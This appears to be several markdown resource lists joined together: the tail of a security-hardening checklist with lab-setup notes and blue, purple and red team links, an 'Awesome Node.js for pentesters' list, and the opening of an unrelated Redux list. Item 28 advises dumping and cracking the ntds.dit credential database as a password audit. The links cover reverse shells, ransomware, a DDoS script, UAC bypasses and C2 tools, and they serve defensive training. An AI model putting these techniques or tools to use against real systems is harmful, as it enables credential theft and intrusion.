25) TRAIN YOUR STAFF! All is for naught if your staff aren't well trained, both users and SOC. Pluralsight has some good content - SANS/OSCP = excellent standard. This will enable more advanced functions once you reach maturity, like threat hunting and purple teaming.
26) DLP - don't spend a huge amount of time on this, much bigger wins possible - prevents accidental loss of data.
27) Incident response plans - make some, test them. Tabletop exercises can be useful.
28) Audit domain passwords - use pass-phrases, enforce 15 character minimum after LOTS of training and LOTS of patience. Think https://xkcd.com/936/ - totally do-able and in the past in the entire company only had 1 person need to reset the next day. Dump the ntds.dit file via shadow copy and crack using a decent GPU rig and hashcat. Have those users change their passwords - test and retest. If you can't crack it using some big lists, it will reduce risk quite a bit.
29) haveibeenpwned.com - self explainatory
30) Disallow the use of personal email (gmail/hotmail etc) - no point in spending loads of money on filtering and tech only to have your workstations pwned by a personal phishing email.
31) OSINT/Recon check yourself - see what is available or posted by your users! Especially Linkedin for technologies used by admins/secops.
# Lab Setup
Choose your relevant cloud provider (azure do 30 day trials, but the systems are a bit sluggish - Google cloud boxes are fast though!)
One of my major gripes with demos and labs that folks show is that they show the attack and relevant detections in isolation from what would be a production environment, with all the relevant noise and events that are a part of a normal day to day network.
I came across an awesome couple of scripts that can solve this issue at least to some extent:
https://github.com/ubeeri/Invoke-UserSimulator
https://github.com/lorentzenman/sheepl
I've had some success with the first module (haven't had a chance to try the 2nd) and given that it is powershell based, it works natively to windows.
General setup could be :
1) 1 Domain controller server and relevant Active Directory configuration
2) 1/2 Servers domain joined
3) 1/2 Client machines with office installed (see below) that are also domain joined.
4) 1 Offensive system that is not domain joined, but on the same network (this can simulate an external attacker to host tools/c2 etc- you could totally go the exta mile and configure another network entirely with relevant VM firewall appliances etc, but it is a time/cost vs what are you trying to demonstrate decision).
Installing Docker on linux VM for Kali:
https://computingforgeeks.com/install-docker-and-docker-compose-on-debian-10-buster/
https://medium.com/@airman604/kali-linux-in-a-docker-container-5a06311624eb
Interesting:
https://wjmccann.github.io/blog/2017/12/03/Kali-Linux-in-Docker-on-Windows-10
http://somatorio.org/en/post/running-gui-apps-with-docker/
To add more noise into your lab or AD environment if it has already been built:
https://github.com/davidprowe/BadBlood
This will generate numerous AD objects.
A few AD lab deployment solutions (various infrastructure scenarios):
https://github.com/outflanknl/Invoke-ADLabDeployer
https://github.com/clong/DetectionLab
https://github.com/jaredhaight/WindowsAttackAndDefenseLab
https://github.com/xFreed0m/Disruption
## Office
OK - Office deployment automation:
Step 1, are you gonna be doing it repeatedly or potentially in a bandwidth-limited environment? If so, run the download step once to some storage which is 1) referenceable as a windows drive letter from wherever you want to finally install it and 2) permanent so it's not gonna get wiped out by automated teardown of a server etc.
1 - Set up your staging
Use the Office Deployment Tool (ODT, https://www.microsoft.com/en-us/download/confirmation.aspx?id=49117)
Installing that small tool will set up a folder hierarchy that acts as your staging for the rest of the actions; this staging setup can be on a different system than where you want the final install.
2 - How to define which bits of Office you want (inc language packs, 32v64 bit versions, and optionally, how to license it automatically / pre-accept the EULA for promptless install)
All of this is driven by an XML file; making it yourself is a pain, but there is a generator wizard at https://config.office.com/ that I'd recommend using
That config file acts for both the download and install steps.
3 - Download
In the staging from step 1, you will have a setup.exe.
Run it as admin from a command or powershell prompt:
setup.exe /download configuration.xml (this being the file you created in stage 2)
You'll get no visual prompts at this stage but you'll see the system bandwidth use increase and some new files appear in the staging environment, just let it run (about 3.5 GB last time I did this) until the cmd drops you back to a prompt.
4 - Install
Move setup.exe and configuration.xml to the system on which you are installing
Remember to modify configuration.xml filepaths (quotes required around full path even when no spaces) if you're installing it from a remote system
Run as admin:
setup.exe /configure configuration.xml
You should immediately get the Office install splash page and it should auto config
5 - Initial config (only bit I'm not familiar with automating, sorry...usually intended to be end-user facing)
Run any office app from the standard suite (word, excel etc - NOT Outlook for first run)
Follow the sign-in / 365 account connection wizard.
# Security Resources - Links, books, CTFs, etc
## Blue Team & Threat Hunting
Quick correlation of group policy settings to event IDs for event logs
https://girl-germs.com/?p=363
Windows event forwarding list and GPO config suggestions:
https://github.com/palantir/windows-event-forwarding/
https://github.com/nsacyber/Event-Forwarding-Guidance/tree/master/Events
Nice little Google Chrome plugin for threat lookups:
https://chrome.google.com/webstore/detail/threatpinch-lookup/ljdgplocfnmnofbhpkjclbefmjoikgke?hl=en
Paper on security analyst thinking, intuition and potentially some good solutions to get the best out of SOC Analysts.
https://chrissanders.org/wp-content/uploads/2019/10/Creative-Choices-Developing-a-Theory-of-Divergence-Convergence-and-Intuition-in-Security-Analysts.pdf
SANS Blue team wiki - helpful cheat sheets & Reference
https://wiki.sans.blue/#!index.md
Amazing site for which windows events to log and why.
https://www.malwarearchaeology.com/cheat-sheets
https://www.malwarearchaeology.com/logging
A good little program that audits your computers logging capabilities against best practices as well as numerous other functions.
https://www.imfsecurity.com/why-log-md
Site dedicated to active directory security - red team benefits : know what to target.
https://adsecurity.org/
Mitre Attack based SIEM rules (multi format)
https://github.com/Neo23x0/sigma
Creator of HELK (Hunting ELK Stack) and the threat hunting playbook
https://github.com/Cyb3rWard0g
Guide to setting up enterprise wide SYSMON threat hunting/logging
https://securityaffairs.co/wordpress/81288/security/hunting-mitres-attck-splunk.html
Threat Hunting Splunk App (SYSMON necessary, Mitre Attack based)
https://github.com/olafhartong/ThreatHunting
SANS SIEM (Security configured ELK stack)
https://github.com/philhagen/sof-elk
Book on developing SOC and SIEM - includes working with the business ( very good material here).
https://www.amazon.co.uk/Blue-Team-Field-Manual-BTFM/dp/154101636X/ref=pd_lpo_sbs_14_t_1?_encoding=UTF8&psc=1&refRID=WWDBBTYX9KR3Z7MY9CDP
Good blueteam/IR handbook (Less concise, but more theory added)
https://www.amazon.co.uk/Blue-Team-Handbook-condensed-Operations/dp/1726273989/ref=sr_1_2?qid=1552652679&refinements=p_27%3ADon+Murdoch+GSE&s=books&sr=1-2&text=Don+Murdoch+GSE
General Overall Security book - not hugely in depth but wide.
https://www.amazon.co.uk/Defensive-Security-Handbook-Lee-Brotherston/dp/1491960388/ref=sr_1_fkmrnull_1?crid=3SX1IOK1H2R6O&keywords=defensive+security+handbook&qid=1552653330&s=gateway&sprefix=defensive+secur%2Cdigital-text%2C185&sr=8-1-fkmrnull
Several techniques and tools for collecting and analyzing network traffic datasets.
https://www.amazon.co.uk/Network-Security-Through-Data-Analysis/dp/1491962844/ref=dp_ob_title_bk
CanaryTokens (Various Canary token type generators)
https://canarytokens.org/generate
"The MaGMa framework was designed specifically to support the use case management process. The tool provides a very practical and flexible approach to managing use cases in any security monitoring environment, from simple to complex. In total, 12 L1 use cases, 62 L2 use cases and 169 L3 use cases have been predefined in the tool, giving organizations a jumpstart in use case management.” Use cases are MITRE ATT&CK Matrix based."
https://www.linkedin.com/pulse/magma-use-case-framework-released-today-rob-van-os
Uncoder.IO is the online translator for SIEM saved searches, filters, queries, API requests, correlation and Sigma rules to help SOC Analysts, Threat Hunters and SIEM Engineers.
https://uncoder.io/#
Sigma rules for splunk (200 use cases various - MITRE ATT&CK Matrix based )
https://github.com/Neo23x0/sigma
Saved Searches file for above SIGMA rules:
https://github.com/dstaulcu/TA-Sigma-Searches/blob/master/default/savedsearches.conf
YARA Rule generator
https://github.com/Neo23x0/yarGen
YARA Rules
https://github.com/Yara-Rules/rules
Procfilter - active scanner using yara rules.
https://github.com/godaddy/procfilter
OSQuery - supports Yara rules.
https://osquery.io/
Open source Threat intelligence sharing platform
https://www.misp-project.org/
Another Threat intelligence sharing platform
https://www.riskiq.com/products/community-edition/
Yet another threat intelligence platform
https://www.threatminer.org/
Open source malware sandboxes:
https://www.virustotal.com
https://www.hybrid-analysis.com/
https://any.run
Recommended EDR (commercial):
https://www.carbonblack.com/products/cb-threathunter/
https://www.endgame.com/platform
https://www.paloaltonetworks.com/cortex/cortex-xdr
https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/microsoft-defender-advanced-threat-protection
OWASP Project
https://www.owasp.org/index.php/Main_Page
OWASP Cheat sheets
https://github.com/OWASP/CheatSheetSeries
Some good Active Directory Deception ideas
https://www.labofapenetrationtester.com/2018/10/deploy-deception.html
*Mandatory if you're securing AD* - Securing Active Directory, Beyond the Easy Button - Sean Metcalf @ Derbycon 2019
https://adsecurity.org/wp-content/uploads/2019/09/2019-DerbyCon-ActiveDirectorySecurity-BeyondTheEasyButton-Metcalf.pdf
Acommpanying video recording :
https://youtu.be/AZScrF6JxeQ?t=87
A 4-IN-1 SECURITY INCIDENT RESPONSE PLATFORM
https://thehive-project.org/
Powershell Deobfuscation tools:
http://www.kahusecurity.com/posts/introducing_psunveil.html
https://github.com/R3MRUM/PSDecode
VBA Deobfuscation tools:
https://github.com/decalage2/ViperMonkey (ViperMonkey is a VBA Emulation engine written in Python, designed to analyze and deobfuscate malicious VBA Macros contained in Microsoft Office files (Word, Excel, PowerPoint, Publisher, etc). - how-to here https://isc.sans.edu/forums/diary/ViperMonkey+VBA+maldoc+deobfuscation/24346/)
Bunch of tools good for deobfuscation and IR/Forensics
http://www.kahusecurity.com/tools.html
(Response Operation Collection Kit)
An open source Network Security Monitoring platform.
https://rocknsm.io/
Skadi is a free, open source collection of tools that enables the collection, processing and advanced analysis of forensic artifacts and images. It works on MacOS, Windows, and Linux machines. It scales to work effectively on laptops, desktops, servers, the cloud, and can be installed on top of hardened / gold disk images.
https://github.com/orlikoski/Skadi
Breakdown of RDP connections and their relevant event logs:
https://www.13cubed.com/downloads/rdp_flowchart.pdf
Details/primer on named pipes and potential hacks:
https://hackinparis.com/data/slides/2017/2017_Cohen_Gil_The_forgotten_interface_Windows_named_pipes.pdf
Threat hunting overview:
https://github.com/marcurdy/dfir-toolset/blob/master/ThreatHunt.md
Adversary tracking ideas:
https://stoerchl.github.io/
Technical approaches to uncovering and remediating Malicious activity (CISA) (fantastic resource)
https://us-cert.cisa.gov/ncas/alerts/aa20-245a
## Purple Team
List of common attacks.
https://attack.mitre.org/
Adversary Emulation tools list
http://pentestit.com/adversary-emulation-tools-list/
Large list of IR tools and resources
https://github.com/meirwah/awesome-incident-response
Atomic Threat Coverage is tool which allows you to automatically generate actionable analytics, designed to combat threats (based on the MITRE ATT&CK adversary model) from Detection, Response, Mitigation and Simulation perspectives:
https://github.com/atc-project/atomic-threat-coverage
Black Hills information security - awesome company that give away a tonne of free resources and tools.
https://www.blackhillsinfosec.com/blog/
https://www.youtube.com/channel/UCJ2U9Dq9NckqHMbcUupgF0A (bhis youtube channel)
Great tool to keep track of gap analysis of environment mapped to the MITRE attack matrix
https://nsacyber.github.io/unfetter/
Good blueteam/IR handbook (Very concise - more a list of commands and why)
https://www.amazon.co.uk/Blue-Team-Handbook-condensed-Responder/dp/1500734756
Pretty much the definitive go to guide for DFIR.
https://www.amazon.co.uk/Incident-Response-Computer-Forensics-Third-ebook/dp/B00JFG7152
Dehashed (DeHashed is a hacked database search engine created for security analysts, journalists, security companies, and everyday people to help secure accounts and provide insight on database breaches and account leaks.)
https://dehashed.com
HaveIBeenPwned (domain search)
https://haveibeenpwned.com/DomainSearch
One of the best if not the best site for the OSINT topic.
https://inteltechniques.com
A collection of inspiring lists, manuals, cheatsheets, blogs, hacks, one-liners, cli/web tools and more.
https://github.com/trimstray/the-book-of-secret-knowledge/blob/master/README.md
MITRE ATT&CK Testing framework
https://redcanary.com/atomic-red-team/
Purple Team ATT&CK™ Automation
https://github.com/praetorian-code/purple-team-attack-automation
A datasource assessment on an event level to show potential ATT&CK coverage
https://github.com/olafhartong/ATTACKdatamap
Applying a Threat Based Approach to Security Testing (great article on red team/purple team)
https://threatexpress.com/blogs/2018/threat-gets-a-vote-applying-a-threat-based-approach-to-security-testing/
Threat Mitigation Strategies: Part 1
https://threatexpress.com/blogs/2018/threat-mitigation-strategies-observations-recommendations/
Threat Mitigation Strategies: Part 2 (great collated list of 'wins' relating to previous two articles)
https://threatexpress.com/blogs/2018/threat-mitigation-strategies-technical-recommendations-and-info-part-2/
Purple/Red team security tool validation system (adversary simulation - commercial license)
https://www.scythe.io/platform
Complete Mandiant Offensive VM (Commando VM), the first full Windows-based penetration testing virtual machine distribution. Good for attacking windows Active directory based environments.
https://www.fireeye.com/blog/threat-research/2019/03/commando-vm-windows-offensive-distribution.html
## Red Team
Keepnote archive of a tonne of "Quick and Dirty Penetration Testing Notes"
https://github.com/josephkingstone/keepnote
Attacking AD:
https://www.tarlogic.com/en/blog/how-to-attack-kerberos/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md
Massive collated list of attacks etc
https://m0chan.github.io/2019/07/30/Windows-Notes-and-Cheatsheet.html
https://m0chan.github.io/2018/07/31/Linux-Notes-And-Cheatsheet.html
https://github.com/m0chan/h4cks
Pentest Cheat Sheets
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
Great list of resources/tools in Attack-chain categories
https://github.com/infosecn1nja/Red-Teaming-Toolkit
A huge list of useful payloads and bypasses
https://github.com/swisskyrepo/PayloadsAllTheThings
Decent catalog of attack and forensic commands
https://redteams.fr/
Great list of resources/tools in Attack-chain categories (more)
https://github.com/yeyintminthuhtut/Awesome-Red-Teaming
Gap analysis tool containing scripts to test various MITRE attack rules.
https://github.com/redcanaryco/atomic-red-team
Same as the Blue team field manual - but for the Red Team (join the dark side -they have cookies).
https://www.amazon.co.uk/Rtfm-Red-Team-Field-Manual/dp/1494295504/ref=pd_lpo_sbs_14_t_0?_encoding=UTF8&psc=1&refRID=WWDBBTYX9KR3Z7MY9CDP
Great book detailing hacker playbooks tools and techniques.
https://www.amazon.co.uk/Hacker-Playbook-Practical-Penetration-Testing/dp/1980901759/ref=pd_sim_14_4/260-2231008-3826148?_encoding=UTF8&pd_rd_i=1980901759&pd_rd_r=21b93499-471d-11e9-abbc-f52bf6129af9&pd_rd_w=jwkcz&pd_rd_wg=W97Hb&pf_rd_p=1b8636ae-4f21-4403-a813-e8849dd46de4&pf_rd_r=WWDBBTYX9KR3Z7MY9CDP&psc=1&refRID=WWDBBTYX9KR3Z7MY9CDP
Great 'scenario' based book on hacking networks of various types and kinds.
https://www.amazon.co.uk/Advanced-Penetration-Testing-Hacking-Networks-ebook/dp/B06XCKTKK8/ref=pd_sim_351_7?_encoding=UTF8&pd_rd_i=B06XCKTKK8&pd_rd_r=8263cbb8-471e-11e9-917c-7de6dac306e9&pd_rd_w=TKxVS&pd_rd_wg=MmoJA&pf_rd_p=1b8636ae-4f21-4403-a813-e8849dd46de4&pf_rd_r=ZWBWAA765VN3BG379JQA&psc=1&refRID=ZWBWAA765VN3BG379JQA
Pentesting book with practical labs.
https://www.amazon.co.uk/Penetration-Testing-Hands-Introduction-Hacking-ebook/dp/B00KME7GN8
Cutting-edge techniques for finding and fixing critical security flaws
https://www.amazon.co.uk/Gray-Hat-Hacking-Ethical-Handbook-ebook/dp/B07D3J9J4H/ref=sr_1_1?keywords=grey+hat+hacking&qid=1556278379&s=digital-text&sr=1-1-catcorr
Purple/Red team security tool validation system (adversary simulation)
https://www.scythe.io/platform
Complete Mandiant Offensive VM (Commando VM), the first full Windows-based penetration testing virtual machine distribution. Good for attacking windows Active directory based environments.
https://www.fireeye.com/blog/threat-research/2019/03/commando-vm-windows-offensive-distribution.html
Web App Pentesting checks
https://www.amanhardikar.com/mindmaps/webapptest.html
SQL Injection checks
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
Cheatsheet for kerberos attacks(lots of methods).
https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
Social Mapper is an Open Source Intelligence Tool that uses facial recognition to correlate social media profiles across different sites on a large scale. It takes an automated approach to search popular social media sites for targets' names and pictures to accurately detect and group a person’s presence, outputting the results into report that a human operator can quickly review.
https://github.com/Greenwolf/social_mapper
Mindmap of offensive assessment mindset. (Pentests, CTF, Bug Bounty etc)
https://github.com/dsopas/assessment-mindset
Windows Userland Persistence Fundamentals
https://www.fuzzysecurity.com/tutorials/19.html
UAC Bypass
https://github.com/sailay1996/UAC_Bypass_In_The_Wild
https://github.com/hfiref0x/UACME
C2 Matrix (showing a large number of options for C2 - even a guided selector!)
https://www.thec2matrix.com/
Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers.Covenant is an ASP.NET Core, cross-platform application that includes a web-based interface that allows for multi-user collaboration.
https://github.com/cobbr/Covenant
Fileless lateral movement tool that relies on ChangeServiceConfigA to run command - SpiderLabs/SCShell
https://github.com/SpiderLabs/SCShell
Great priv escalation suite - Mac, Linux, Windows scripts.
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
**Excellent Resource** Fairly extensive pentest methodology and checklist.
https://book.hacktricks.xyz/pentesting-methodology
## Digital Forensics
Cheat sheets for common DFIR tools
https://digital-forensics.sans.org/community/cheat-sheets
Same as above - in twice due to categories and because it is an awesome book.
https://www.amazon.co.uk/Incident-Response-Computer-Forensics-Third-ebook/dp/B00JFG7152
A software reverse engineering (SRE) suite of tools developed by NSA's Research Directorate
https://ghidra-sre.org/
FLARE VM is a freely available and open sourced Windows-based security distribution designed for reverse engineers, malware analysts, incident responders, forensicators, and penetration testers.
https://www.fireeye.com/blog/threat-research/2017/07/flare-vm-the-windows-malware.html
Bunch of tools good for deobfuscation and IR/Forensics
http://www.kahusecurity.com/tools.html
## General
CIS top 20 security controls - great for scoring the maturity of a company's security.
https://learn.cisecurity.org/20-controls-download
Great resources on here including a free excel tool that helps you 'score' your companies maturity against the CIS Top 20 controls.
https://www.auditscripts.com/free-resources/critical-security-controls/
CIS online assessment tool (html version of the excel manual assessment tool).
https://www.cisecurity.org/blog/cis-csat-free-tool-assessing-implementation-of-cis-controls/
SANS posters - some great 'quick glance reference' info here.
https://uk.sans.org/security-resources/posters
Excellent CTF site including various other challenges (DFIR, malware reversing, Stego etc)
https://www.hackthebox.eu/
Yearly CTF that is story driven - very high quality CTF containing a range of challenges.
https://www.holidayhackchallenge.com/2018/
A lot of various labs (ctf, blue team, etc) - nice thing is no VPN required, all accessible through web browser.
https://attackdefense.com/
## Misc other
Great Cron Job building website
https://crontab.guru/#*/10_6-17_*_*_1-5
Easily Report Phishing and Malware
https://decentsecurity.com/#/malware-web-and-phishing-investigation/
Scan Phishing sites (generates webpage of site)
https://urlscan.io/
Open Source Threat intel site
https://pulsedive.com/
TCPIP Utils - quick IP/dns lookup check
https://dnslytics.com/
Awesome tool - CyberChef is a simple, intuitive web app for carrying out all manner of "cyber" operations within a web browser.
https://gchq.github.io/CyberChef/
CTF Walkthroughs (good to watch for thought process)
https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA
Various CTF and hack related things.
https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w/videos?disable_polymer=1
Fun way to learn Regex
https://regexcrossword.com/
## Podcasts
Purple Squad Security - Purple Team podcast
Black Hills Information Security - Large range of high quality teaching.
Darknet Diaries - Stories of past hacks.
Malicious life
Paul's Enterprise Security Weekly - General podcast reviewing enterprise news/security products
Paul's Security Weekly - General podcast containing various enterprise related topics
Sans Internet Stormcenter Daily - 5 Minute or so show on the highlights of security news from SANS
State of the Hack - Mandiant in depth podcast
Beers with TALOS - General news and discussions podcast
Breach - Stories of past hacks.
Defensive Security Podcast - Higher level security news discussions.
Smashing Security - Stories of past hacks and security news.
The Cyberwire - Overall news
Digital Forensics Survival Podcast - DFIR Podcast
Hacking Humans - Social Engineering podcast
The Privacy, Security & OSINT Show - OSINT and privacy Podcast
Professor Messers A+ Study Group
Professor Messers Network+ Study Group
Professor Messers Security+ Study Group
Red Team Podcast - Red Team podcast
Tradecraft Security Weekly - Mainly BHIS related podcast on more advanced hacking techniques.
Advanced Persistent Security - Red Team podcast
Hacked - Various
Rally Security Podcast - Mainly a red team podcast.
ROOT ACCESS - Various
TrustedSec Security Podcast - Similar to BHIS, but more general in topics.
|
# Awesome Node.js for pentesters
:skull_and_crossbones: Delightful [Node.js](https://nodejs.org) packages useful for penetration testing, exploiting, reverse engineer, cryptography ...
<div align="center">
<p>
<img src="images/logo.png" alt="Project logo">
</p>
<p>
<a href="https://awesome.re">
<img src="https://awesome.re/badge.svg" alt="Awesome">
</a>
</p>
</div>
## Contents
- [Awesome Node.js for penetration testers](#awesome-nodejs-for-penetration-testers)
- [Contents](#contents)
- [Misc](#misc)
- [Web](#web)
- [OSINT](#osint)
- [Exposed](#exposed)
- [Geolocation](#geolocation)
- [Fingerprint](#fingerprint)
- [Web](#web-1)
- [Network map](#network-map)
- [IP](#ip)
- [Port](#port)
- [CIDR](#cidr)
- [ARP](#arp)
- [DHCP](#dhcp)
- [Brute-force](#brute-force)
- [Fuzzing](#fuzzing)
- [Exploitation](#exploitation)
- [DNS](#dns)
- [Network](#network)
- [Post-exploitation](#post-exploitation)
- [Reverse shell](#reverse-shell)
- [Code review](#code-review)
- [Dependencies](#dependencies)
- [Cryptography](#cryptography)
- [Malware](#malware)
- [Reverse engineering](#reverse-engineering)
- [radare](#radare)
- [Extra](#extra)
- [Checklists](#checklists)
- [Vulnerable apps](#vulnerable-apps)
- [Contribute](#contribute)
- [License](#license)
## Misc
- [Pown.js](https://github.com/pownjs/pown) - Security testing an exploitation toolkit.
- [Brosec](https://github.com/gabemarshall/Brosec) - Interactive reference tool to help security professionals utilize useful payloads and commands.
- [netcat](https://github.com/roccomuso/netcat) - Netcat port in pure JS.
- [Honeypot](https://github.com/Shmakov/Honeypot) - Low interaction honeypot that displays real time attacks.
- [default-gateway](https://github.com/silverwind/default-gateway) - Get the default network gateway, cross-platform.
### Web
- [ZAP API](https://github.com/zaproxy/zap-api-nodejs) - Implementation to access the OWASP ZAP API.
- [got](https://github.com/sindresorhus/got) - Simplified HTTP requests.
## OSINT
- [Sherlock.js](https://github.com/GitSquared/sherlock-js) - Find usernames across over 75 social networks - Remake of sdushantha/sherlock.
- [whois](https://github.com/FurqanSoftware/node-whois) - Whois protocol client.
### Exposed
- [Shodan client](https://github.com/jesusprubio/shodan-client.js) - Library for accessing the new Shodan API.
- [censys](https://github.com/b4dnewz/node-censys) - Unofficial wrapper for the Censys API.
### Geolocation
- [geoip](https://github.com/bluesmoon/node-geoip) - Native NodeJS implementation of MaxMind's GeoIP API.
- [iplocation](https://github.com/roryrjb/iplocation) - Get IP location information using various providers.
- [ipify](https://github.com/sindresorhus/ipify) - Get your public IP address.
## Fingerprint
### Web
- [Harvester](https://github.com/TransparencyToolkit/Harvester) - Web crawling and document processing through a usable interface.
- [Paskto](https://github.com/cloudtracer/paskto) - Passive web scanner.
- [Squidwarc](https://github.com/N0taN3rd/Squidwarc) - High fidelity, user scriptable, archival crawler that uses Chrome or Chromium with or without a head.
- [snap-shot-it](https://www.npmjs.com/package/snap-shot-it) - Smarter snapshot utility.
### Network map
- [evilscan](https://github.com/eviltik/evilscan) - Simple network scanner.
- [nmap](https://github.com/Johnhhorton/node-nmap) - Wrapper interfacing with local Nmap installation.
- [tcpie](https://github.com/silverwind/tcpie) - CLI tool to ping any TCP port.
- [wifi](https://github.com/friedrith/node-wifi) - Tool to manage connections, scans, etc.
### IP
- [is-reachable](https://github.com/sindresorhus/is-reachable) - Check if servers are reachable.
- [is-online](https://github.com/sindresorhus/is-online) - Check if the internet connection is up.
- [public-ip](https://github.com/sindresorhus/public-ip) - Get your public IP address - very fast!.
- [internal-ip](https://github.com/sindresorhus/internal-ip) - Get your internal IP address.
- [ipaddr.js](https://github.com/whitequark/ipaddr.js) - IP address manipulation library.
- [is-local-ip](https://github.com/DylanPiercey/is-local-ip) - Check that a given ip address is private.
- [ip-ptr](https://github.com/silverwind/ip-ptr) - Get the PTR name for a given IPv4 or IPv6 address.
### Port
- [get-port](https://github.com/sindresorhus/get-port) - Get an available port.
- [port-numbers](https://github.com/silverwind/port-numbers) - Get information on network port numbers and services, based on IANA's public listing.
- [tcp-port-used](https://github.com/stdarg/tcp-port-used) - Simple module to check if a TCP port is already bound.
### CIDR
- [cidr](https://github.com/arminhammer/node-cidr) - Library for manipulating IP addresses and subnets using CIDR notation.
- [cidr-tools](https://github.com/silverwind/cidr-tools) - Tools to work with IPv4 and IPv6 CIDR network lists.
- [is-cidr](https://github.com/silverwind/is-cidr) - Check if a string is an IP address in CIDR.
### ARP
- [arp-scan](https://github.com/goliatone/arpscan) - Simple apr-scan wrapper.
- [oui](https://github.com/silverwind/oui) - Look up MAC addresses for their vendor in the IEEE OUI.
- [getmac](https://github.com/bevry/getmac) - Get the computer MAC address.
### DHCP
- [net-ping](https://github.com/nospaceships/node-net-ping) - Ping and trace route to many hosts at once.
- [dhcp](https://github.com/infusion/node-dhcp) - DHCP client and server.
## Brute-force
- [nodebuster](https://github.com/phra/nodebuster) - Yet another DirBuster clone, to brute-force directories and files on HTTP(S) servers.
- [subquest](https://github.com/skepticfx/subquest) - Fast, Elegant subdomain DNS scanner.
## Fuzzing
- [octo](https://github.com/mozillasecurity/octo) - Standard library for fuzzing.
- [eslump](https://github.com/lydell/eslump) - Fuzz testing JavaScript parsers and suchlike programs.
- [sinkdweller](https://github.com/rarecoil/sinkdweller) - A simple wrapper for radamsa.
- [Faker.js](https://github.com/marak/Faker.js) - Generate massive amounts of realistic fake data.
## Exploitation
- [text2cpe](https://github.com/cloudtracer/text2cpe) - Reversed sorta implementation of CPE Name detection in ShoVAT based on research paper.
- [PegaSwitch](https://github.com/reswitched/pegaswitch) - Exploit toolkit for the Nintendo Switch.
### DNS
- [whonow](https://github.com/brannondorsey/whonow) - Malicious DNS server for executing DNS Rebinding attacks on the fly.
- [dref](https://github.com/mwrlabs/dref) - DNS Rebinding Exploitation Framework.
### Network
- [mitm](https://github.com/moll/node-mitm) - Intercept and mock outgoing network TCP connections and HTTP requests.
- [toxy](https://github.com/h2non/toxy) - Hackable HTTP proxy for resiliency testing and simulated network conditions.
- [slowloris.js](https://gist.github.com/ktfth/f24ff4cf7f23d87f56d02485c8f678f4) - DDoS script
## Post-exploitation
### Reverse shell
- [Reverse Shell aaS](https://github.com/lukechilds/reverse-shell) - Easy to remember reverse shell that should work on most Unix-like systems.
- [alveare](https://github.com/roccomuso/alveare) - Multi-client, multi-threaded reverse shell handler.
## Code review
- [electronegativity](https://github.com/doyensec/electronegativity) - Static analysis tool to identify misconfigurations and security anti-patterns in Electron applications.
- [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) - This project will help identify potential security hotspots, but finds a lot of false positives which need triage by a human.
- [repo-supervisor](https://github.com/auth0/repo-supervisor) - Scan your code for security misconfiguration, search for passwords and secrets.
- [vuln-regex-detector](https://github.com/davisjam/vuln-regex-detector) - Detect vulnerable regexes. REDOS, catastrophic backtracking.
### Dependencies
- [run-npm-audit](https://www.npmjs.com/package/run-npm-audit) - Use npm audit programmatically.
- [npm-check-updates](https://github.com/tjunnone/npm-check-updates) - Find newer versions of package dependencies than what your package.json or bower.json allows.
- [depcheck](https://github.com/depcheck/depcheck) - Check your npm module for unused dependencies.
- [auditjs](https://github.com/OSSIndex/auditjs) - Audits a package.json using the OSS Index v3 REST API to identify known vulnerabilities and outdated package versions.
## Cryptography
- [crypto-js](https://github.com/brix/crypto-js) - Library of crypto standards.
- [rsa](https://github.com/rzcoder/node-rsa) - Pure JavaScript RSA library.
- [seedrandom](https://github.com/davidbau/seedrandom) - Seeded random number generator for JavaScript.
- [Qiskit.js](https://github.com/Qiskit/qiskit-js/tree/master/packages/qiskit-devs) - True random numbers generation through quantum computing.
- [upash](https://github.com/simonepri/upash) - Unified API for all password hashing algorithms.
## Malware
- [nodeCrypt](https://github.com/atmoner/nodeCrypto) - Linux Ransomware written in NodeJs that encrypt predefined files.
- [malware-jail](https://github.com/HynekPetrak/malware-jail) - Sandbox for semi-automatic Javascript malware analysis, deobfuscation and payload extraction.
- [virustotal-api](https://github.com/yousefvand/virustotal-api) - [Virustotal](https://www.virustotal.com) API v2.0 wrapper.
- [MalwareWorld](https://github.com/carlospolop/MalwareWorld) - System based on +500 blacklists and 5 external intelligences to detect internet potencially malicious hosts.
- [box.js](https://github.com/CapacitorSet/box-js) - Utility to analyze malicious JavaScript.
## Reverse engineering
### radare
- [r2pipe](https://github.com/radare/radare2-r2pipe/tree/master/nodejs/r2pipe) - Pipe bindings for radare2.
- [frida-node](https://github.com/frida/frida-node) - Bindings for Frida.
- [r2Frida](https://github.com/nowsecure/r2frida) - Radare2 and Frida better together.
## Extra
### Checklists
- [Strong Node.js](https://github.com/jesusprubio/strong-node) - More than 100 security checks for your Node.js API.
- [Security checklist](https://blog.risingstack.com/node-js-security-checklist) - Quick list to cover the most critical risks.
- [npm security cheat sheet](https://snyk.io/blog/ten-npm-security-best-practices) - 10 npm Security Best Practices.
- [Best Practices](https://github.com/i0natan/nodebestpractices#6-security-best-practices) - Security section of this general list.
### Vulnerable apps
- [OWASP NodeGoat](https://github.com/OWASP/NodeGoat) - Provides an environment to learn how OWASP Top 10 security risks and how to effectively address them.
- [OWASP Juice Shop](https://github.com/bkimminich/juice-shop) - Probably the most modern and sophisticated insecure web application.
- [DVNA](https://github.com/appsecco/dvna) - Damn Vulnerable Application is a simple application to demonstrate OWASP Top 10 Vulnerabilities and guide on fixing and avoiding these vulnerabilities.
## Contribute
:sunglasses: If you'd like to help please take a look to our [contribution guidelines](.github/CONTRIBUTING.md).
## License
[](http://creativecommons.org/licenses/by/4.0)
:penguin: This work is licensed under a [Creative Commons Attribution 4.0 International License](http://creativecommons.org/licenses/by/4.0).
|
# Awesome Redux [](https://github.com/sindresorhus/awesome)
<!-- START doctoc generated TOC please keep comment here to allow auto update -->
<!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
**Table of Contents** *generated with [DocToc](https://github.com/thlorenz/doctoc)*
- [Awesome Redux *](#awesome-redux-)
